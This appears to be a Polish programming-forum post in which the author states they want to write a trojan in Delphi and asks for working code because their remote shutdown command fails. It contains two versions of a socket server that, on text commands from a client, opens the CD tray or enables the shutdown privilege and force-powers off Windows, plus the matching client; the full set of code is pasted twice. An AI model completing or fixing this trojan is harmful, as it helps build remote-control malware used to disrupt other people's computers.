Chciałbym napisać w delphi trojana ale ale mam problem z zamykaniem systemu tzn. wszystko się ładnie kompiluje i niby jest dobrze ale po uruchomieniu programu i kliknięciu zamknij nic się nie dzieje. Mam ten kod w dwuch wersjach ale żadna nie zamyka systemu dlatego jak możecie to podrzućcie mi działający kod. Pokaże jak wyglądają moje kody w obu versjach. Z góry THX za pomoc.
Server( 1 versja )
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
s:string;
implementation
{$R *.dfm}
function SetPrivilege(privilegeName: string; enable: boolean): boolean;
var
tpPrev, tp: TTokenPrivileges;
token: THandle;
dwRetLen: DWord;
begin
result := False;
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, token);
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID) then
begin
if enable then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
dwRetLen := 0;
result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev), tpPrev, dwRetLen);
end;
CloseHandle(token);
end;
procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
SetPrivilege('SeShutdownPrivilege', True);
ExitWindowsEx(EWX_POWEROFF or EWX_FORCE,0);
SetPrivilege('SeShutdownPrivilege', False);
end;
end;
end.
-----------------------------------
Server( 2 versja )
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
s:string;
implementation
{$R *.dfm}
function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;
procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE); // funkcja Ktora zamyka system.
end;
end;
end.
-------------------
Client
unit klient;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
Button3: TButton;
Button4: TButton;
Button7: TButton;
Button8: TButton;
Button6: TButton;
Button5: TButton;
Button9: TButton;
Button10: TButton;
GroupBox4: TGroupBox;
Button11: TButton;
Button12: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Polaczony(Sender: TObject; Socket: TCustomWinSocket);
procedure Button7Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc
clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.active:=false; // client ma sie rozlaczyc
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdclose');
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
clientsocket1.socket.SendText('closesystem');
end;
procedure TForm1.Polaczony(Sender: TObject; Socket: TCustomWinSocket);
begin
ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem
end;
end.
Server( 1 versja )
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
s:string;
implementation
{$R *.dfm}
function SetPrivilege(privilegeName: string; enable: boolean): boolean;
var
tpPrev, tp: TTokenPrivileges;
token: THandle;
dwRetLen: DWord;
begin
result := False;
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, token);
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID) then
begin
if enable then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
dwRetLen := 0;
result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev), tpPrev, dwRetLen);
end;
CloseHandle(token);
end;
procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
SetPrivilege('SeShutdownPrivilege', True);
ExitWindowsEx(EWX_POWEROFF or EWX_FORCE,0);
SetPrivilege('SeShutdownPrivilege', False);
end;
end;
end.
-----------------------------------
Server( 2 versja )
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
s:string;
implementation
{$R *.dfm}
function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;
procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE); // funkcja Ktora zamyka system.
end;
end;
end.
-------------------
Client
unit klient;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
Button3: TButton;
Button4: TButton;
Button7: TButton;
Button8: TButton;
Button6: TButton;
Button5: TButton;
Button9: TButton;
Button10: TButton;
GroupBox4: TGroupBox;
Button11: TButton;
Button12: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Polaczony(Sender: TObject; Socket: TCustomWinSocket);
procedure Button7Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc
clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.active:=false; // client ma sie rozlaczyc
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdclose');
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
clientsocket1.socket.SendText('closesystem');
end;
procedure TForm1.Polaczony(Sender: TObject; Socket: TCustomWinSocket);
begin
ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem
end;
end.